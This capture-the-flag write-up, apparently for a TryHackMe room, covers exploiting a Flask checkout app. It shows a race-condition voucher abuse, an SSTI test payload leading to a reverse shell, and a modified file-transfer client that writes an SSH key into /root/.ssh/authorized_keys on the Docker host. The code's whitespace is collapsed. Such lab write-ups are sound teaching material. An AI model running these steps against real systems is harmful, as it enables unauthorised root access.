The following post by 0xb0b is licensed under CC BY 4.0
Recon
We start with a Nmap scan and find only two open ports. On port 22 we are dealing with SSH and on port 80 with a web server.
We can find out more with a service and a default script scan. We are dealing with a Werkzeug/3.0.2 Python/3.8.10 server. Mostly associated with Flask and the tool debug console.
The Gobuster scan gives us the Console Directory in addition to the directories of the checkout system. At first glance, this appears to be the entry point into the system.
We visit the console first and see that it is secured with a PIN. This can be reconstructed using an exploit on HackTricks, but it requires private bits. Unfortunately, we can only access these if an LFI or SQLI (with file inclusion capabilities) vulnerability is revealed somewhere . This is where the most time testing all the parameters was spent. OWASP ZAP also gave some false positives towards SQLI. But nothing led to success.
Further explanations can be found in Hacktricks for the Pin Exploit tool. A showacase of theWerkezug Pin Exploit can be found under the following link: https://0xb0b.gitbook.io/writeups/tryhackme/2023/advent-of-cyber-23-side-quest/the-bandit-surfer#what-is-the-user-flag
Let's go ahead and visit the page. Here we have some items to choose from with exorbitant prices. We can pay for none of the items with our credit. But the room description mentions the three millionth visitor who gets everything for free. And they're talking about a voucher.
We can add items to the basket.
And enter our name and a voucher code at checkout. If we want to place our order, we are told that we do not have enough credit. Too bad. A lot of time has been lost here; vouchers were tried first with the item names from the menu.
Initial Access
However, it turns out that it is not the item names from the menu that could represent a voucher, but the item names shown in the basket. We receive a 50% voucher with the code TRYHACK3M.
Nevertheless, we still can't buy anything with it. We need at least a 100% voucher. If we take a closer look at the applied voucher field, we see that it looks like an array. Perhaps a voucher can be redeemed several times. Several attempts at passing different parameters were unsuccessful. But it is noticeable that loading the voucher takes some time.
So we open a second browser and send two vouchers at the same time. And lo and behold, our voucher is counted twice. We have a 100% voucher and are taken to a thank-you page on which our name is reflected.
On the Thank-you page, we have control over the reflected name via the name parameter of the GET reqeust. Alternatively, we can now check out again to test our payloads.
Quickly tried a couple of payloads like XSS and SSTI, and we have a hit with SSTI; {{7*7}} is evaluated to 49. Nice. Here we have our entry point for a reverse shell. We don't need the Werkzeug console at all.
We use a very good resource from Ingo Kleiber; I recommend studying it carefully if you have not had much experience with SSTIs.
We are preparing a reverse shell. Obtained from revshells.com. When trying to get a shell, we noticed that many common binaries do not exist, and we are root directly. In / we find a .dockerenv file, this will probably be a Docker container.
Using this simple reverse shell command, we get a connection back to our listener on port 4445.
In the spawned directory /app, we find the first flag.
Privilege Escalation
We use linpeas to simplify enumeration. But we have no direct way to get the script from our attack box to the target using curl or nc, for example.
Instead, we can convert the script to base64 using CyberChef and paste it to the machine via the interactive reverse shell. Below is the shortened command, which I find can be very helpful in some situations.
We see a very conspicuous cronjob of /app/cron/client_py.py with the specification of dockergateway 172.17.0.1 on port 69.
When analyzing the source code and executing the file, we see that we can download the site.db file. Possibly from the host. The first idea was to get the flag via /root/flag.txt, /root/root.txt, or other files like/root/.ssh/id_rsa/ or /etc/passwd by editing a copy of the script, but this did not work.
Below is the client_py.py script, which implements a secure file transfer protocol using RSA encryption, signatures, and socket programming. It handles reading and writing files to a server, encrypting and decrypting data, and managing communication errors. The program utilizes PKCS1_OAEP for encryption and decryption and PSS with SHA256 for digital signatures, ensuring secure data transfer operations over a network.
client_py.py
import sysimport socketfrom Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_OAEPfrom Crypto.Signature import pssfrom Crypto.Hash import SHA256import binasciiimport base64MAX_SIZE =200opcodes ={'read':1,'write':2,'data':3,'ack':4,'error':5}mode_strings = ['netascii','octet','mail']withopen("client.key", "rb")as f: data = f.read() privkey = RSA.import_key(data)withopen("client.crt", "rb")as f: data = f.read() pubkey = RSA.import_key(data)try:withopen("server.crt", "rb")as f: data = f.read() server_pubkey = RSA.import_key(data)except: server_pubkey =Falsesock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)sock.settimeout(3.0)server_address = (sys.argv[1],int(sys.argv[2]))defencrypt(s,pubkey): cipher = PKCS1_OAEP.new(pubkey)return cipher.encrypt(s)defdecrypt(s,privkey): cipher = PKCS1_OAEP.new(privkey)return cipher.decrypt(s)defsend_rrq(filename,mode,signature,server): rrq =bytearray() rrq.append(0) rrq.append(opcodes['read']) rrq +=bytearray(filename) rrq.append(0) rrq +=bytearray(mode) rrq.append(0) rrq +=bytearray(signature) rrq.append(0) sock.sendto(rrq, server)returnTruedefsend_wrq(filename,mode,server): wrq =bytearray() wrq.append(0) wrq.append(opcodes['write']) wrq +=bytearray(filename) wrq.append(0) wrq +=bytearray(mode) wrq.append(0) sock.sendto(wrq, server)returnTruedefsend_ack(block_number,server):iflen(block_number)!=2:print('Error: Block number must be 2 bytes long.')returnFalse ack =bytearray() ack.append(0) ack.append(opcodes['ack']) ack +=bytearray(block_number) sock.sendto(ack, server)returnTruedefsend_error(server,code,msg): err =bytearray() err.append(0) err.append(opcodes['error']) err.append(0) err.append(code &0xff) pkt +=bytearray(msg +b'\0') sock.sendto(pkt, server)defsend_data(server,block_num,block):iflen(block_num)!=2:print('Error: Block number must be 2 bytes long.')returnFalse pkt =bytearray() pkt.append(0) pkt.append(opcodes['data']) pkt +=bytearray(block_num) pkt +=bytearray(block) sock.sendto(pkt, server)defget_file(filename,mode): h = SHA256.new(filename) signature = base64.b64encode(pss.new(privkey).sign(h))send_rrq(filename, mode, signature, server_address) file =open(filename, "wb")whileTrue: data, server = sock.recvfrom(MAX_SIZE *3)if data[1]== opcodes['error']: error_code =int.from_bytes(data[2:4], byteorder='big')print(data[4:])breaksend_ack(data[2:4], server) content = data[4:] content = base64.b64decode(content) content =decrypt(content, privkey) file.write(content)iflen(content)< MAX_SIZE:print("file received!")breakdefput_file(filename,mode):ifnot server_pubkey:print("Error: Server pubkey not configured. You won't be able to PUT")returntry: file =open(filename, "rb") fdata = file.read() total_len =len(fdata)except:print("Error: File doesn't exist")returnFalsesend_wrq(filename, mode, server_address) data, server = sock.recvfrom(MAX_SIZE *3)if data !=b'\x00\x04\x00\x00':# ack 0print("Error: Server didn't respond with ACK to WRQ")returnFalse block_num =1whilelen(fdata)>0: b_block_num = block_num.to_bytes(2, 'big') block = fdata[:MAX_SIZE] block =encrypt(block, server_pubkey) block = base64.b64encode(block) fdata = fdata[MAX_SIZE:]send_data(server, b_block_num, block) data, server = sock.recvfrom(MAX_SIZE *3)if data !=b'\x00\x04'+ b_block_num:print("Error: Server sent unexpected response")returnFalse block_num +=1if total_len % MAX_SIZE ==0: b_block_num = block_num.to_bytes(2, 'big')send_data(server, b_block_num, b"") data, server = sock.recvfrom(MAX_SIZE *3)if data !=b'\x00\x04'+ b_block_num:print("Error: Server sent unexpected response")returnFalseprint("File sent successfully")returnTruedefmain(): filename =b'site.db' mode =b'netascii'get_file(filename, mode)exit(0)if__name__=='__main__':main()
Here is an example of trying to customize the copy of client_py.py to remove the /etc/passwd. The customization was first made using sed.
cp client_py.py copy.py
sed -i "s|filename = b'site.db'|filename = b'/etc/passwd'|g" copy.py
Unfortunately, copying files did not help. But the script reveals even more functionalities; we can also bring files onto the system. This leads to the idea of placing our own public key in /root/.ssh/authorized_keys in order to log onto the system with a specially generated ssh key via SSH.
However, to be able to use the function, we need the server.crt. Unfortunately, we only have client.crt in the /app/cron folder.
...defput_file(filename,mode):ifnot server_pubkey:print("Error: Server pubkey not configured. You won't be able to PUT")returntry: file =open(filename, "rb") fdata = file.read() total_len =len(fdata)except:print("Error: File doesn't exist")return Fals...
So, let's make a copy again of client_py.py to reset our changes and replace site.db with server.cert. Maybe we are able to retrieve it right away.
After executing the scrip we see that we successfully transfered the file. But wait. It is not there were it is supposed to be. We still cannot access the system via SSH. We will probably have to modify the script further
python3copy.py172.17.0.169
On closer inspection, the wrq function is responsible for writing the file name on the server. The exact path can certainly be specified here. In the put_file function, we extend the file name by b'/root/.ssh/, which is passed to wrq. We also change the file name to authorized_keys. Just as it is in our folder and call put_file in main instead of get_file.
Below is the adapted script:
copy.py
import sysimport socketfrom Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_OAEPfrom Crypto.Signature import pssfrom Crypto.Hash import SHA256import binasciiimport base64MAX_SIZE =200opcodes ={'read':1,'write':2,'data':3,'ack':4,'error':5}mode_strings = ['netascii','octet','mail']withopen("client.key", "rb")as f: data = f.read() privkey = RSA.import_key(data)withopen("client.crt", "rb")as f: data = f.read() pubkey = RSA.import_key(data)try:withopen("server.crt", "rb")as f: data = f.read() server_pubkey = RSA.import_key(data)except: server_pubkey =Falsesock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)sock.settimeout(3.0)server_address = (sys.argv[1],int(sys.argv[2]))defencrypt(s,pubkey): cipher = PKCS1_OAEP.new(pubkey)return cipher.encrypt(s)defdecrypt(s,privkey): cipher = PKCS1_OAEP.new(privkey)return cipher.decrypt(s)defsend_rrq(filename,mode,signature,server): rrq =bytearray() rrq.append(0) rrq.append(opcodes['read']) rrq +=bytearray(filename) rrq.append(0) rrq +=bytearray(mode) rrq.append(0) rrq +=bytearray(signature) rrq.append(0) sock.sendto(rrq, server)returnTruedefsend_wrq(filename,mode,server): wrq =bytearray() wrq.append(0) wrq.append(opcodes['write']) wrq +=bytearray(filename) wrq.append(0) wrq +=bytearray(mode) wrq.append(0)print(wrq) sock.sendto(wrq, server)returnTruedefsend_ack(block_number,server):iflen(block_number)!=2:print('Error: Block number must be 2 bytes long.')returnFalse ack =bytearray() ack.append(0) ack.append(opcodes['ack']) ack +=bytearray(block_number) sock.sendto(ack, server)returnTruedefsend_error(server,code,msg): err =bytearray() err.append(0) err.append(opcodes['error']) err.append(0) err.append(code &0xff) pkt +=bytearray(msg +b'\0') sock.sendto(pkt, server)defsend_data(server,block_num,block):iflen(block_num)!=2:print('Error: Block number must be 2 bytes long.')returnFalse pkt =bytearray() pkt.append(0) pkt.append(opcodes['data']) pkt +=bytearray(block_num) pkt +=bytearray(block) sock.sendto(pkt, server)defget_file(filename,mode): h = SHA256.new(filename) signature = base64.b64encode(pss.new(privkey).sign(h))send_rrq(filename, mode, signature, server_address) file =open(filename, "wb")whileTrue: data, server = sock.recvfrom(MAX_SIZE *3)if data[1]== opcodes['error']: error_code =int.from_bytes(data[2:4], byteorder='big')print(data[4:])breaksend_ack(data[2:4], server) content = data[4:] content = base64.b64decode(content) content =decrypt(content, privkey) file.write(content)iflen(content)< MAX_SIZE:print("file received!")breakdefput_file(filename,mode):ifnot server_pubkey:print("Error: Server pubkey not configured. You won't be able to PUT")returntry: file =open(filename, "rb") fdata = file.read() total_len =len(fdata)except:print("Error: File doesn't exist")returnFalse filename =b'/root/.ssh/'+filenamesend_wrq(filename, mode, server_address) data, server = sock.recvfrom(MAX_SIZE *3)if data !=b'\x00\x04\x00\x00':# ack 0print("Error: Server didn't respond with ACK to WRQ")returnFalse block_num =1whilelen(fdata)>0: b_block_num = block_num.to_bytes(2, 'big') block = fdata[:MAX_SIZE] block =encrypt(block, server_pubkey) block = base64.b64encode(block) fdata = fdata[MAX_SIZE:]send_data(server, b_block_num, block) data, server = sock.recvfrom(MAX_SIZE *3)if data !=b'\x00\x04'+ b_block_num:print("Error: Server sent unexpected response")returnFalse block_num +=1if total_len % MAX_SIZE ==0: b_block_num = block_num.to_bytes(2, 'big')send_data(server, b_block_num, b"") data, server = sock.recvfrom(MAX_SIZE *3)if data !=b'\x00\x04'+ b_block_num:print("Error: Server sent unexpected response")returnFalseprint("File sent successfully")returnTruedefmain(): filename =b'authorized_keys' mode =b'netascii'put_file(filename, mode)exit(0)if__name__=='__main__':main()
Now we have to get the whole script onto the system, which we do as in the Linpeas example. Convert the script to base64 using CyberChef, decode it on the system, and add it to the file using tee.
echo<base64ofcopy.py>|base64-d|teecopy.py
After executing the command successfully, the script should be printed to the console.
Next, we execute the script...
python3copy.py172.17.0.1
...And then we are able to connect as root to the host via SSH. You might need to add the correct permissions to the private key via cmod 600 id_rsa. We find the root flag in the home directory of root. It does not have the usual name.